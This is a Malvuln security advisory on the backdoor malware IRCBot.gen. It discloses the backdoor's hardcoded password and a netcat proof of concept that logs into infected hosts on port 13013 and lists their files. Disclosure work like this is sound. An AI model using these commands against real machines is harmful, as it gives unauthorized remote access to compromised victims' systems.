Backdoor.Win32.IRCBot.gen / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9b12ff6b8b025e7fb0a171abad41c79c.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.IRCBot.gen
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 13013. Authentication is required for remote user access. However, the password "slimanus" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: 9b12ff6b8b025e7fb0a171abad41c79c
Vuln ID: MVID-2021-0295
Dropped files: winvxd.exe
Disclosure: 07/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 13013
pwd slimanus slimanus
psychward revised 0.3, awaiting your command
dir
<.>
<..>
<0409>
12520437.cpx                   (2151)
12520850.cpx                   (2233)
@AudioToastIcon.png            (308)
@EnrollmentToastIcon.png       (330)
@VpnToastIcon.png              (404)
@WirelessDisplayToast.png      (691)
aadauthhelper.dll              (154624)
aadtb.dll                      (954880)
AboveLockAppHost.dll           (252928)
accessibilitycpl.dll           (3804160)
accountaccessor.dll            (215552)
AccountsRt.dll                 (363520)
AcGenral.dll                   (2393600)
AcLayers.dll                   (372224)
acledit.dll                    (9216)
aclui.dll                      (5388800)
acppage.dll                    (68096)
AcSpecfc.dll                   (471552)
ActionCenter.dll               (261632)
ActionCenterCPL.dll            (541184)
ActivationClient.dll           (30720)
ActivationManager.dll          (444928)
activeds.dll                   (222720)
activeds.tlb                   (112128)
ActiveSyncProvider.dll         (1546752)
etc...

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